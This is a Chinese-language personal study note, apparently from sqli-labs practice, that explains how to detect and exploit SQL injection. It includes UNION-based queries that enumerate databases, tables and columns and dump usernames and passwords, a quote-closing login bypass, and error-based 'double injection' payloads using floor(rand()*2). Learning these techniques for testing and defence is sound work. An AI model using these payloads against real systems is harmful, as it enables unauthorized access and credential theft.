本文章是自己学习记录的一些笔记仅供参考
- 判断是否有注入第一要素
1) 可控参数的改变能否影响页面的显示结果
2) 输入的sql语句能否报错-通过数据库的报错,看到数据库的一些语句痕迹
3) 输入的sql语句能否不报错-我们的语句能够成功闭合 - 什么类型的注入
- 语句能否被恶意修改-第二要素
- 是否能够成功执行
- 获取我们想要的数据
2-1整型注入
union select 1,2,3,4 %23 (判断几列,%23是# 1,2,3只是站位)
group_concat(schema_name)将所有列的数据拼接一块
database()当前数据库的名字
数据库表字段值
1.获取所有数据库union(将前后俩个临时表连接) select 1,group_concat(schema_name),3 from information_schema.schemata(同1)
2.union select 1,database(),3 %23(查询当前数据库)
3.union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23(查询当前数据库里有多少表)
4. union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=’users’ (查询表里字段)
5. union select username,password from security,users %23(查询一条记录)
group_concat(concat_ws(‘:’,username,password)//拼接这俩个字段用:连接//)
2-2
Order by number 按照number排序 若超出number则报错 ,用于测试列数
2-3 Post注入
无法修改地址栏,是输入用户名和密码
登录的sql语句:select 1 from users where username=? and password=? 要使得俩个内容都为真
select 1 from users where username=’ ’ and password=?原来语句是引号我在其中输入 ‘ 使塔与前面引号闭合 再输入 or 1 %23’使他为真 即
select 1 from users where username=’ ’ or 1 %23 ‘(红色引号为后台自带引号,只需输入中间部分)
2-5双注入
union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())
group by就是分组,每一次group by 都要进行一次创建临时表 ,在在原表中查询一行就遍历临时表看是否存在这个主键,若有则在那一行上的count上加一,若无则加一行
第一行rand为1
第二行第一次执行rand为0则插入,第二次执行rand结果为1发现插入的与第一行重复则报错
这样就可以在version处进行双注入(使用俩个select)
union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select group_concat(table_name) from information_schema.table where table_schema=database()))
若数据太长无法报错则删除group_concat(),然后再database()后面加入limit 0 , 1 0是起始位置,1是偏移量